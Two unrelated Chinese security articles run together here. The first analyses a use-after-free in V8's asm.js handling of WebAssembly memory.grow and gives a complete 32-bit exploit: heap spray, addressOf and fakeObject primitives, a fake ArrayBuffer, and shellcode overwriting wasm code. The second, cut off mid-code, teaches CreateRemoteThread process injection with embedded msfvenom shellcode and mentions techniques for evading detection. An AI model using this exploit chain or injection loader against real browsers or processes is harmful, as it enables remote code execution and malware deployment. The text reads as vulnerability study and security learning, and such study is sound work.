var memory = new WebAssembly.Memory({initial:200});
var buffer = memory.buffer;
var evil_f = module(global,env,buffer);
memory.grow(1);
evil_f(1);
与前面的示例差不多，我们仅仅是增加了一句`memory.grow(1);`，然后调用函数以后就出现了崩溃。
root@ubuntu:~/Desktop/v8/out.gn/ia32.debug# ./d8 poc.js
Received signal 11 SEGV_MAPERR 0000f1d64000
==== C stack trace ===============================
[0x0000f58e4e80]
[0x0000f58e4d7a]
[0x0000f7f07b80]
[0x00004010658b]
[0x0000549fc522]
[0x0000549f9336]
[0x00005498608f]
[0x0000f6d7935f]
[0x0000f6d788a2]
[0x0000f6d786af]
[0x0000f61fbef6]
[0x0000565f7010]
[0x00005660c8c0]
[0x000056610ff3]
[0x000056612523]
[0x000056612912]
[0x0000f53ace91]
[end of stack trace]
Segmentation fault (core dumped)
很明显是内存访问错误，使用gdb调试
pwndbg> c
Continuing.
Thread 1 "d8" received signal SIGSEGV, Segmentation fault.
0x4498658b in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]──────────────────────────────────────────────────────────────────────────────────
*EAX 0x1
*EBX 0x0
*ECX 0xc80000
*EDX 0xf1d99000
*EDI 0x44986580 ◂— mov ecx, dword ptr [esi + 4] /* 0x8b044e8b */
*ESI 0x56d586d0 ◂— 0xf1d99000
*EBP 0xfff53ed4 —▸ 0xfff53f08 —▸ 0xfff53f20 —▸ 0xfff53f48 —▸ 0xfff540d8 ◂— ...
*ESP 0xfff53ec8 —▸ 0x449862f2 ◂— mov eax, 0x43a84185 /* 0xa84185b8 */
*EIP 0x4498658b ◂— mov dword ptr [edx + ebx], eax /* 0xc31a0489 */
───────────────────────────────────────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────────────────────────────────────────
► 0x4498658b mov dword ptr [edx + ebx], eax
0x4498658e ret
查看该地址`0xf1d99000`的映射情况，可以发现这个地址不在映射之内
.............
0xf1109000 0xf1d99000 rw-p c90000 0
0xf2a19000 0xf2c8e000 rw-p 275000 0
.............
然而如果事先加了一个`%DebugPrint`将`buffer`打印的话，会发现
DebugPrint: 0x52698935: [JSArrayBuffer] in OldSpace
- map = 0x5ab047b9 [FastProperties]
- prototype = 0x52688ac5
- elements = 0x3628412d <FixedArray[0]> [HOLEY_SMI_ELEMENTS]
- embedder fields: 2
- backing_store = 0xf1d99000
- byte_length = 13107200
- wasm_buffer
- properties = 0x3628412d <FixedArray[0]> {}
- embedder fields = {
(nil)
(nil)
}
该不可访问地址实际就是`ArrayBuffer`的`backing_store`，那么可能的原因是`memory.grow(1);`操作使得`ArrayBuffer`的`backing_store`被释放掉了。我们在`memory.grow(1);`之后加一句`%DebugPrint(buffer);`，可以发现
DebugPrint: 0x5c518941: [JSArrayBuffer] in OldSpace
- map = 0x2a0847b9 [FastProperties]
- prototype = 0x5c508ac5
- elements = 0x2de8412d <FixedArray[0]> [HOLEY_SMI_ELEMENTS]
- embedder fields: 2
- backing_store = (nil)
- byte_length = 0
- external
- neuterable
- neutered
- wasm_buffer
- properties = 0x2de8412d <FixedArray[0]> {}
- embedder fields = {
(nil)
(nil)
}
ArrayBuffer的一些指针确实被清空掉了，但是`asm.js`里访问时仍然使用了原来那个指针，这是一个`UAF`。
### asm.js的UAF成因分析
在分析这个UAF之前，我们先大致了解一下`asm.js`的编译过程，一个比较关键的地方是位于`src/wasm/module-compiler.cc`文件中的`InstanceBuilder::Build`函数，第`1792`行开始，获取外部传入的`ArrayBuffer`对象，并设置一些属性
1792 if (!memory_.is_null()) {
1793 Handle<JSArrayBuffer> memory = memory_.ToHandleChecked();
1794 // Set externally passed ArrayBuffer non neuterable.
► 1795 memory->set_is_neuterable(false);
1796 memory->set_is_wasm_buffer(true);
1797
1798 DCHECK_IMPLIES(trap_handler::UseTrapHandler(),
1799 module_->is_asm_js() || memory->has_guard_region());
1800 } else if (initial_pages > 0) {
然后第`1838`行开始，进行一些检查，然后将`ArrayBuffer`对象设置到`instance`实例中。
1838 Address mem_start = nullptr;
1839 uint32_t mem_size = 0;
1840 if (!memory_.is_null()) {
1841 Handle<JSArrayBuffer> memory = memory_.ToHandleChecked();
1842 mem_start = static_cast<Address>(memory->backing_store());
► 1843 CHECK(memory->byte_length()->ToUint32(&mem_size));
1844 LoadDataSegments(mem_start, mem_size);
1845 // Just like with globals, we need to keep both the JSArrayBuffer
1846 // and save the start pointer.
1847 instance->set_memory_buffer(*memory);
1848 }
然后第`1854`行，使用`WasmMemoryObject::New`创建了一个`memory_object`，并将其设置到`instance`实例中
In file: /home/sea/Desktop/v8/src/wasm/module-compiler.cc
1853 if (module_->has_memory && !instance->has_memory_object()) {
1854 Handle<WasmMemoryObject> memory_object = WasmMemoryObject::New(
1855 isolate_,
1856 instance->has_memory_buffer() ? handle(instance->memory_buffer())
1857 : Handle<JSArrayBuffer>::null(),
► 1858 module_->maximum_pages != 0 ? module_->maximum_pages : -1);
1859 instance->set_memory_object(*memory_object);
1860 }
接下来为新创建的`memory_object`设置`instance`
1904
1905 //-------------------------------------------------------------------------- 1906 // Add instance to Memory object
1907 //-------------------------------------------------------------------------- 1908 if (instance->has_memory_object()) {
► 1909 Handle<WasmMemoryObject> memory(instance->memory_object(), isolate_);
1910 WasmMemoryObject::AddInstance(isolate_, memory, instance);
1911 }
1912
pwndbg> p memory
$10 = {
<v8::internal::HandleBase> = {
location_ = 0x5671d6ac
}, <No data fields>}
pwndbg> p *memory
$11 = (v8::internal::WasmMemoryObject *) 0x5b498b29
执行完后，该`memory_object`调用`has_instances`会返回`true`，说明已经为该`memory_object`设置好了实例
pwndbg> p instance->memory_object()->has_instances()
$13 = true
在分析完`asm.js`模块的编译过程以后，我们再来看一下JS层的`grow`函数。该函数的实现位于`src/wasm/wasm-js.cc`文件中的`WebAssemblyMemoryGrow`函数。第`745`行`EXTRACT_THIS(receiver,
WasmMemoryObject);`获取到了js层的`var memory = new
WebAssembly.Memory({initial:200});`这个对象。显然，在这里也表示为一个·`WasmMemoryObject`
740 i::Isolate* i_isolate = reinterpret_cast<i::Isolate*>(isolate);
741 HandleScope scope(isolate);
742 i::wasm::ScheduledErrorThrower thrower(i_isolate,
743 "WebAssembly.Memory.grow()");
744 Local<Context> context = isolate->GetCurrentContext();
► 745 EXTRACT_THIS(receiver, WasmMemoryObject);
746
747 int64_t delta_size = 0;
748 if (!args[0]->IntegerValue(context).To(&delta_size)) return;
749
750 int64_t max_size64 = receiver->maximum_pages();
然后这里获取到ArrayBuffer对象以及一些属性，并在旧的size基础上加上增量以后进行一些范围检查。
In file: /home/sea/Desktop/v8/src/wasm/wasm-js.cc
752 max_size64 > static_cast<int64_t>(i::FLAG_wasm_max_mem_pages)) {
753 max_size64 = i::FLAG_wasm_max_mem_pages;
754 }
755 i::Handle<i::JSArrayBuffer> old_buffer(receiver->array_buffer());
756 uint32_t old_size =
► 757 old_buffer->byte_length()->Number() / i::wasm::kSpecMaxWasmMemoryPages;
758 int64_t new_size64 = old_size + delta_size;
759 if (delta_size < 0 || max_size64 < new_size64 || new_size64 < old_size) {
760 thrower.RangeError(new_size64 < old_size ? "trying to shrink memory"
761 : "maximum memory size exceeded");
762 return;
接下来调用`WasmMemoryObject::Grow`对`ArrayBuffer`的`backing_store`进行扩容，我们跟进该函数。
► 764 int32_t ret = i::WasmMemoryObject::Grow(i_isolate, receiver,
765 static_cast<uint32_t>(delta_size));
766 if (ret == -1) {
767 thrower.RangeError("Unable to grow instance memory.");
768 return;
769 }
在`WasmMemoryObject::Grow`函数里，通过一些检查以后，就调用`GrowMemoryBuffer`来分配一块更大的内存了。
476 uint32_t maximum_pages = FLAG_wasm_max_mem_pages;
477 if (memory_object->has_maximum_pages()) {
478 maximum_pages = Min(FLAG_wasm_max_mem_pages,
479 static_cast<uint32_t>(memory_object->maximum_pages()));
480 }
► 481 new_buffer = GrowMemoryBuffer(isolate, old_buffer, pages, maximum_pages);
482 if (new_buffer.is_null()) return -1;
接下来来到这里，漏洞关键点来了
► 484 if (memory_object->has_instances()) {
485 Handle<WeakFixedArray> instances(memory_object->instances(), isolate);
486 for (int i = 0; i < instances->Length(); i++) {
487 Object* elem = instances->Get(i);
488 if (!elem->IsWasmInstanceObject()) continue;
489 Handle<WasmInstanceObject> instance(WasmInstanceObject::cast(elem),
pwndbg> p memory_object->has_instances()
$17 = false
因为这里的`memory_object`来自与JS层的那个`memory`对象，而不是在`InstanceBuilder::Build`函数中创建的那个，因此`memory_object->has_instances()`返回的是`false`。
这意味着下面的代码不会执行
if (memory_object->has_instances()) {
Handle<WeakFixedArray> instances(memory_object->instances(), isolate);
for (int i = 0; i < instances->Length(); i++) {
Object* elem = instances->Get(i);
if (!elem->IsWasmInstanceObject()) continue;
Handle<WasmInstanceObject> instance(WasmInstanceObject::cast(elem),
isolate);
SetInstanceMemory(isolate, instance, new_buffer);
}
}
由于`SetInstanceMemory(isolate, instance,
new_buffer);`没有执行，导致`wasm`的实例里保存的那个`buffer`仍然是最开始那个`buffer`的地址，没有将`new_buffer`更新进去。此时程序继续执行，更新JS层的`memory`对象
494 memory_object->set_array_buffer(*new_buffer);
► 495 return old_size / WasmModule::kPageSize;
接下来是对`old_buffer`进行处理
770 if (!old_buffer->is_shared()) {
771 // When delta_size == 0, or guard pages are enabled, the same backing store
772 // is used. To be spec compliant, the buffer associated with the memory
773 // object needs to be detached. Setup a new buffer with the same backing
774 // store, detach the old buffer, and do not free backing store memory.
► 775 bool free_memory = delta_size != 0 && !old_buffer->has_guard_region();
776 if ((!free_memory && old_size != 0) || new_size64 == 0) {
777 i::WasmMemoryObject::SetupNewBufferWithSameBackingStore(
778 i_isolate, receiver, static_cast<uint32_t>(new_size64));
779 }
780 i::wasm::DetachMemoryBuffer(i_isolate, old_buffer, free_memory);
我们跟进`DetachMemoryBuffer`函数，这里将`old_buffer`的`backing_store`给释放掉了。
In file: /home/sea/Desktop/v8/src/wasm/wasm-memory.cc
120 // We need to free the memory before neutering the buffer because
121 // FreeBackingStore reads buffer->allocation_base(), which is nulled out
122 // by Neuter. This means there is a dangling pointer until we neuter the
123 // buffer. Since there is no way for the user to directly call
124 // FreeBackingStore, we can ensure this is safe.
► 125 buffer->FreeBackingStore();
126 }
127 }
128 buffer->set_is_neuterable(true);
129 buffer->Neuter();
130 }
可以看出，由于没有更新`wasm`实例里的`ArrayBuffer`对象，并且后面该`ArrayBuffer`被释放，由此导致了UAF的产生，原来`backing_store`的内存空间被`unmmap`掉了，使得其不再出现在映射表中。当我们再次访问这块内存时，便出现了段错误。
## 0x03 漏洞利用
### 概述
现在，我们制造出了一个UAF，但是`backing_store`的内存与一般对象的内存地址是分开的，不能指望将其他对象占位与此。与`backing_store`类似的是`Array`的`Element`，它们都属于大容量存储，因此它们之间很可能会分配到相邻的地址或者地址相差较小的位置。因此，我们可以考虑使用`Heap
Spray`技术，在`backing_store`地址附近都布局下`Array`的`Element`对象，然后通过`UAF`去控制。由于64位内存空间太大，`Heap
Spray`似乎无法成功将`Element`对象放到`backing_store`地址附近，因此这个漏洞目前仅在32位下成功利用。
### 何时进行 Heap Spray
我们需要寻找一个合适的时机进行`Heap Spray`，在`asm.js`模块的汇编代码中，我们注意到如下代码
0x255062c0 0 55 push ebp
0x255062c1 1 89e5 mov ebp,esp
0x255062c3 3 56 push esi
0x255062c4 4 57 push edi
0x255062c5 5 8b4508 mov eax,[ebp+0x8]
0x255062c8 8 e8d303b035 call 0x5b0066a0 (ToNumber) ;; code: BUILTIN
0x255062cd d a801 test al,0x1
0x255062cf f 0f8528000000 jnz 0x255062fd <+0x3d>
0x255062d5 15 d1f8 sar eax,1
.....................
可以看到，因为我们在`asm.js`模块中声明`x = x |
0;`，所以会先调用`ToNumber`获取对象`x`的值，而`ToNumber`会调用对象内部的`toString`函数，因此，我们可以重写`toString`函数，并在`toString`函数里开始`Heap
Spray`。
//堆喷
var victim_array = [];
victim_array.length = 0x750;
var array = [1.1];
array.length = 0x10000;
array.fill(2.2);
function spray_heap() {
for(var i = 0;i < victim_array.length;i++){
victim_array[i] = array.slice(0,array.length);
}
}
..........................
//重写对象的toString函数，这样在执行ToNumber时可以同时触发Hpeap Spray
trigger = {};
trigger.toString = function(){
spray_heap();
return 0xffffffff;
};
evil_f(trigger);
使用gdb调试，然后断在崩溃处
EAX 0x6666666a ('jfff')
EBX 0x80108
ECX 0xc80000
EDX 0xf4cb4000
EDI 0x5403aff1 —▸ 0x4e536848 ◂— 0x9999999a
ESI 0x5858aab0 ◂— 0xf4cb4000
EBP 0xffcd9da8 —▸ 0xffcd9df8 —▸ 0xffcd9e10 —▸ 0xffcd9e38 —▸ 0xffcd9ee8 ◂— ...
ESP 0xffcd9d9c —▸ 0x52786292 ◂— mov eax, 0x27184185 /* 0x184185b8 */
EIP 0x527864ee ◂— mov dword ptr [edx + ebx], eax /* 0xbb1a0489 */
───────────────────────────────────────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────────────────────────────────────────
► 0x527864ee mov dword ptr [edx + ebx], eax
当前访问的地址是`0xf4cb4000`，查看其附近的内存
.................
0xf4024000 0xf4cb4000 rw-p c90000 0
0xf4d80000 0xf4e05000 rw-p 85000 0
0xf4e80000 0xf4f05000 rw-p 85000 0
...............
可以看到`0xf4cb4000`上方和下方很多`0x85000`大小的内存空间，这是正是堆喷到此处的一些`Array`对象以及`Elements`对象，我们在gdb中使用`find`命令查找紧挨着的一块内存里的关键字
find /w4 0xf4d80000,0xf4e05000,0x9999999a
结果如下，我们看到最近的一个数据位于`0xf4d84108`，可以看到该处正是某一个`Array`对象的`Element`，它与`backing_store`之间相差`0xd0108`，这个偏移并不是固定不变的，但是后12bit是固定不变的。
0xf4d84108
0xf4d84110
0xf4d84118
0xf4d84120
pwndbg> x /20wx 0xf4d84108-0x8
0xf4d84100: 0x536846f1 0x00020000 0x9999999a 0x40019999
我们可以将所有的可能偏移都罗列出来，由于这些偏移在之前那个`ArrayBuffer`的length范围之内，也就是说该对象存在于那个UAF的空间里，于是我们可以利用UAF来改写`Element`，我们可以修改`Element`的`length`属性，这样，我们可以后续构造出一个`oob`数组，为了区别，我们还需要修改`Element`的第一个元素，这样方便我们找到到底是哪个`Array`的`Element`堆喷于此处。
为了方便罗列这些可能的偏移，并进行写，我们使用JS的模板来生成多种可能的偏移写语句，方便操作
//距离不是固定的，因此需要将所有可能的距离都赋值,我们要修改Element的length和第一个元素
let loop = "";
for(let i = 0; i < 0xd0; i++) {
loop += `fl[${0x21041 + 0x100 * i}] = x;fl[${0x21042 + 0x100 * i}] = x;`;
}
let eval_str = `
function module(stdlib, foreign, buffer) {
"use asm";
var fl = new stdlib.Uint32Array(buffer);
function foo(x) {
x = x | 0;
${loop}
}
return foo;
}
`
eval(eval_str);
接下来就是搜索哪个被修改过的`Array`对象了
//找到那个能够被我们UAF控制的Array
var corrupted_array = undefined;
for(var i = 0; i < victim_array.length; i++) {
tmp = victim_array[i];
if (tmp[0] !== 2.2) {
console.log("[+] array at : " + i);
corrupted_array = victim_array[i];
break;
}
}
同时，我们得继续寻找该`Array`对象`Elements`后方的`Elements`属于哪个`Array`，其中注意到，由于`corrupted_array`的elements的length被我们修改成了0xFFFFFFFF，因此在这里加大length，elements仍然不变，相当于构造了一个oob数组，这个特性也是新学到的。
//寻找corrupted_array的后面是哪个Array对象的elements
var next_array_idx = undefined;
var tag = p64f(0x12345678,0x78563412)
if (corrupted_array != undefined) {
//由于elements的length被我们修改，因此在这里加大length，elements仍然不变，相当于构造了一个oob数组
corrupted_array.length = 0x200000;
let leaked_idx = undefined;
if (corrupted_array[0x20000] == 2.2) {
corrupted_array[0x20000] = tag; //设置一个标记
//搜索标记
for(let i = 0; i < victim_array.length; i++) {
tmp = victim_array[i];
if (tmp[0] == tag) {
tmp = undefined;
console.log("[+] next array at : " + i);
next_array_idx = i;
break;
}
}
}
} else {
console.log("[-] fail");
}
我们搜索`next_array`的目的是为了将`next_array`进行释放。这样方便我们进行第二轮`Heap
Spray`，将其他对象布局到此处，然后用`corrupted_array`进行控制。
function gc() {
for (let i = 0; i < 0x10; i++) {
new ArrayBuffer(0x1000000);
}
}
//corrupted_array后方的内存释放掉，然后我们将其他对象堆喷到此处
victim_array[next_array_idx] = null;
gc();
//堆喷
var obj = {};
array = [obj];
array.length = 0x2000;
array.fill(obj);
for(var i = 0;i < victim_array.length;i++){
victim_array[i] = array.slice(0,array.length);
}
这里，我们`victim_array[next_array_idx] = null;`使得该处对象失去了引用，然后通过申请大量的内存`new
ArrayBuffer(0x1000000);`触发了垃圾回收器将`next_array`的内存回收，这样`corrupted_array`后方的内存就空闲了，然后我们堆喷多个`HOLEY_ELEMENTS`类型的`Array`，因为该`Array`存储着的是对象的指针，因此，我们结合`corrupted_array`和该处的`Array`，就可以构造`addressOf`原语和`fakeObject`原语。其构造布置比较简单，这里不再叙述。然后后续利用也比较容易了。
### exp
function gc() {
for (let i = 0; i < 0x10; i++) {
new ArrayBuffer(0x1000000);
}
}
var buf = new ArrayBuffer(0x8);
var dv = new DataView(buf);
function p64f(value1,value2) {
dv.setUint32(0,value1,true);
dv.setUint32(0x4,value2,true);
return dv.getFloat64(0,true);
}
function u64f(value) {
dv.setFloat64(0,value,true);
return [dv.getUint32(0,true),dv.getUint32(4,true)];
}
//距离不是固定的，因此需要将所有可能的距离都赋值,我们要修改Element的length和第一个元素
let loop = "";
for(let i = 0; i < 0xd0; i++) {
loop += `fl[${0x21041 + 0x100 * i}] = x;fl[${0x21042 + 0x100 * i}] = x;`;
}
let eval_str = `
function module(stdlib, foreign, buffer) {
"use asm";
var fl = new stdlib.Uint32Array(buffer);
function foo(x) {
x = x | 0;
${loop}
}
return foo;
}
`
eval(eval_str);
//堆喷
var victim_array = [];
victim_array.length = 0x750;
var array = [1.1];
array.length = 0x10000;
array.fill(2.2);
function spray_heap() {
for(var i = 0;i < victim_array.length;i++){
victim_array[i] = array.slice(0,array.length);
}
}
var global = {Uint32Array:Uint32Array};
var env = {};
var memory = new WebAssembly.Memory({initial:200});
var buffer = memory.buffer;
var evil_f = module(global,env,buffer);
evil_f(1);
//%DebugPrint(memory);
//%SystemBreak();
//evil_f(1);
//制造UAF
memory.grow(1);
//%DebugPrint(buffer);
//重写对象的toString函数，这样在执行ToNumber时可以同时触发Hpeap Spray
trigger = {};
trigger.toString = function(){
spray_heap();
return 0xffffffff;
};
evil_f(trigger);
//找到那个能够被我们UAF控制的Array
var corrupted_array = undefined;
for(var i = 0; i < victim_array.length; i++) {
tmp = victim_array[i];
if (tmp[0] !== 2.2) {
console.log("[+] array at : " + i);
corrupted_array = victim_array[i];
break;
}
}
//寻找corrupted_array的后面是哪个Array对象的elements
var next_array_idx = undefined;
var tag = p64f(0x12345678,0x78563412)
if (corrupted_array != undefined) {
//由于elements的length被我们修改，因此在这里加大length，elements仍然不变，相当于构造了一个oob数组
corrupted_array.length = 0x200000;
let leaked_idx = undefined;
if (corrupted_array[0x20000] == 2.2) {
corrupted_array[0x20000] = tag; //设置一个标记
//搜索标记
for(let i = 0; i < victim_array.length; i++) {
tmp = victim_array[i];
if (tmp[0] == tag) {
tmp = undefined;
console.log("[+] next array at : " + i);
next_array_idx = i;
break;
}
}
}
} else {
console.log("[-] fail");
}
//%DebugPrint(victim_array[next_array_idx]);
//corrupted_array后方的内存释放掉，然后我们将其他对象堆喷到此处
victim_array[next_array_idx] = null;
gc();
//堆喷
var obj = {};
array = [obj];
array.length = 0x2000;
array.fill(obj);
for(var i = 0;i < victim_array.length;i++){
victim_array[i] = array.slice(0,array.length);
}
function addressOf(m_obj) {
for(var i = 0;i < victim_array.length;i++){
victim_array[i][0] = m_obj;
}
return u64f(corrupted_array[0x20000])[0] - 0x1;
}
var tag = {a:1.1};
var tag_addr = addressOf(tag);
//print("tag_addr=" + tag_addr.toString(16));
//寻找corrupted_array后面是哪一个Array
next_array_idx = undefined;
corrupted_array[0x20001] = p64f(tag_addr+0x1,0x123456);
//搜索标记
for(let i = 0; i < victim_array.length; i++) {
tmp = victim_array[i];
if (tmp[2] == tag) {
tmp = undefined;
console.log("[+] next array at : " + i);
next_array_idx = i;
break;
}
}
if (next_array_idx == undefined) {
throw "error"
}
function fakeObject(addr) {
corrupted_array[0x20000] = p64f(addr+0x1,0x123456);
return victim_array[next_array_idx][0];
}
const wasmCode = new Uint8Array([0x00,0x61,0x73,0x6D,0x01,0x00,0x00,0x00,0x01,0x85,0x80,0x80,0x80,0x00,0x01,0x60,0x00,0x01,0x7F,0x03,0x82,0x80,0x80,0x80,0x00,0x01,0x00,0x04,0x84,0x80,0x80,0x80,0x00,0x01,0x70,0x00,0x00,0x05,0x83,0x80,0x80,0x80,0x00,0x01,0x00,0x01,0x06,0x81,0x80,0x80,0x80,0x00,0x00,0x07,0x91,0x80,0x80,0x80,0x00,0x02,0x06,0x6D,0x65,0x6D,0x6F,0x72,0x79,0x02,0x00,0x04,0x6D,0x61,0x69,0x6E,0x00,0x00,0x0A,0x8A,0x80,0x80,0x80,0x00,0x01,0x84,0x80,0x80,0x80,0x00,0x00,0x41,0x2A,0x0B]);
const shellcode = new Uint32Array([795371626, 1752379183, 1852400175, 23651209, 2164326657, 1769088052, 3375431937, 1493461585, 2303844609, 1792160225, 2160941067]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule);
var func = wasmInstance.exports.main;
var wasm_shellcode_ptr_addr = addressOf(func) + 0x18;
print('wasm_shellcode_ptr_addr=' + wasm_shellcode_ptr_addr.toString(16));
var proto_addr = addressOf(ArrayBuffer.prototype);
var faker = [1.1,2.2,3.3,4.4,5.5,6.6,7.7,8.8,9.9];
var faker_addr = addressOf(faker);
//fake a ArrayBuffer Map
faker[0] = p64f(0,0x0f0a000a);
faker[1] = p64f(0x000900c6,0x082003ff);
faker[2] = p64f(proto_addr,0);
var map_addr = faker_addr + 0x20;
print("map_addr=" + map_addr.toString(16));
//fake a ArrayBuffer
faker[4] = p64f(map_addr+0x1,0x3b90412d);
faker[5] = p64f(0x3b90412d,0x100);
faker[6] = p64f(wasm_shellcode_ptr_addr,0);
faker[7] = p64f(0x800,4);
var fake_arr_buf = fakeObject(faker_addr + 0x40);
var adv = new DataView(fake_arr_buf);
var wasm_shellcode_addr = adv.getUint32(0,true) + 0x3f;
print('wasm_shellcode_addr=' + wasm_shellcode_addr.toString(16));
faker[6] = p64f(wasm_shellcode_addr,wasm_shellcode_addr);
//%SystemBreak();
//替换wasm的shellcode
for (var i=0;i<shellcode.length;i++) {
adv.setUint32(i*4,shellcode[i],true);
}
//%SystemBreak();
func();
## 0x04 感想
本次漏洞复现，学习了很多新知识，对于V8 UAF方面的漏洞还是第一次接触，结合`Heap Spray`也是第一次，收获比较大。
## 0x05 参考
[asm.js：面向未来的开发](https://blog.csdn.net/code_for_free/article/details/53674210)
[asm.js 和 Emscripten
入门教程](http://www.ruanyifeng.com/blog/2017/09/asmjs_emscripten.html)
[Issue 776677: Security: V8:Use After Free Leads to Remote Code
Execution](https://bugs.chromium.org/p/chromium/issues/detail?id=776677) | 社区文章 |
# **前言**
文章涉及的技术并不深，只是本人在学习进程注入过程中的记录，文章的内容将涉及到进程注入基础、通过快照自动获取Pid、分离加载shellcode、IAT导入表的基本处理、静态源码基本处理等，过程中需要理解的部分，我会尽可能言简意赅。
## **0x01 简单描述**
进程注入就是给一个正在运行的程序开辟一块内存，把shellcode放入内存，然后用一个线程去执行shellcode。
## **0x02 shellcode**
所有代码示例都使用从 Metasploit Frameworks Msfvenom 工具生成的相同 64 位 shellcode。
msfvenom -p windows/x64/exec CMD=calc.exe -f raw -o calc.bin
shellcode 执行 Calc.exe
## **0x03 代码实现**
**关于 CreateRemoteThread() 进程注入，实际上需要实现四个主要目标：**
* OpenProcess() 打开将要注入进程获取句柄
* VirtualAllocEx() – 能够访问外部进程以便在其虚拟地址空间内分配内存。
* WriteProcessMemory( ) – 将 shellcode 写入分配的内存。
* CreateRemoteThread() – 让外部进程在另一个线程中执行上述 shellcode。
**获取目标进程句柄 OpenProcess()**
OpenProcess 函数打开一个现有的进程对象。
HANDLE OpenProcess(
DWORD dwDesiredAccess, // 渴望得到的访问权限（标志），那肯定是PROCESS_ALL_ACCESS，所有权限啊
BOOL bInheritHandle, // 是否继承句柄，一般不
DWORD dwProcessId // 进程标识符，即受害者进程的PID
);
**申请内存 VirtualAllocEx()**
我们首先需要分配一块与我们的 shellcode 大小相同的内存。VirtualAllocEx 是我们需要调用的 Windows
API，以便初始化位于指定进程（即我们要注入的进程）的虚拟地址空间内的内存区域中的缓冲区空间。
VirtualAllocEx – 与VirtualAlloc (HANDLE hProcess)相比，此 API
调用需要一个附加参数，后者是受害者进程的句柄。
LPVOID VirtualAllocEx(
HANDLE hProcess, // 申请内存所在的进程句柄
LPVOID lpAddress, // 保留页面的内存地址，一般用NULL自动分配
SIZE_T dwSize, // 欲分配的内存大小，字节为单位，通常是shellcode大小
DWORD flAllocationType, // 指定要分配的内存类型，常用 MEM_RESERVE | MEM_COMMIT
DWORD flProtect // 指定分配的内存保护，由于它将包含要执行的代码，因此常用 PAGE_EXECUTE_READWRITE，可读可写可执行
);
**写进程内存 WriteProcessMemory(）**
现在我们已经分配了一个与我们的 shellcode 大小相同的缓冲区，我们可以将我们的 shellcode 写入该缓冲区。
WriteProcessMemory() – 将数据写入指定进程中的内存区域。
BOOL WriteProcessMemory(
HANDLE hProcess, // 要向其中写入数据的进程，即由OpenProcess返回的进程句柄
LPVOID lpBaseAddress, // 要写入的数据的首地址，VirtualAllocEx的返回值
LPCVOID lpBuffer, // 指向要写的数据的指针，该指针必须是const指针，即shellcode
SIZE_T nSize, // 要写入的字节数，shellcode大小
SIZE_T *lpNumberOfBytesWritten // 接收传输到指定进程中的字节数，通常为NULL
);
**创建远程线程 CreateRemoteThread(）**
将 shellcode 加载到受害进程分配的虚拟内存空间后，我们现在可以告诉受害进程从我们的 shellcode 缓冲区地址开始创建一个新线程。
CreateRemoteThread() – 创建一个在另一个进程的虚拟地址空间中运行的线程。
HANDLE CreateRemoteThread(
HANDLE hProcess, // 线程所属进程的进程句柄，即OpenProcess返回的句柄
LPSECURITY_ATTRIBUTES lpThreadAttributes, // 线程的安全属性，通常为NULL
SIZE_T dwStackSize, // 线程栈初始大小,以字节为单位，通常为0，即代表使用系统默认大小.
LPTHREAD_START_ROUTINE lpStartAddress, // 在远程进程的地址空间中,该进程的线程函数的起始地址。VirtualAllocEx返回值，注意需要强制类型转换成 LPTHREAD_START_ROUTINE
LPVOID lpParameter, // 传给线程函数的参数的指针，这里为NULL，在DLL注入的时候有重要意义
DWORD dwCreationFlags, // 线程的创建标志，通常为0，即线程创建后立即运行
LPDWORD lpThreadId // 指向所创建线程ID的指针，通常为NULL
);
基础代码
#include <windows.h>
#include <stdio.h>
int main(int argc, char* argv[]) {
unsigned char buf[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01"
"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48"
"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"
"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c"
"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0"
"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"
"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f"
"\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff"
"\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"
"\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c"
"\x63\x2e\x65\x78\x65\x00";
printf("alloc:%p\n", buf);
HANDLE Process = OpenProcess(
(DWORD)PROCESS_ALL_ACCESS,
(BOOL)FALSE,
//(DWORD)atoi(pid));
atoi(argv[1]));
if (Process == NULL)
{
printf("\nopenprocess error%d\n", GetLastError());
}
printf("pid:%d",atoi(argv[1]));
void * exec = VirtualAllocEx(
Process,
NULL,
sizeof(buf),
MEM_COMMIT,
PAGE_EXECUTE_READWRITE
);
if (exec == NULL)
{
printf("VirtualAllocEx error%d\n", GetLastError());
}
BOOL Memory = WriteProcessMemory(
(HANDLE)Process,
(LPVOID)exec,
(LPCVOID)buf,
sizeof buf,
NULL );
if (Memory == 0)
{
printf("WriteProcessMemory:%d\n", GetLastError());
}
HANDLE thred = CreateRemoteThread(
(HANDLE)Process,
(LPSECURITY_ATTRIBUTES)NULL,
(SIZE_T)0,
(LPTHREAD_START_ROUTINE)exec,
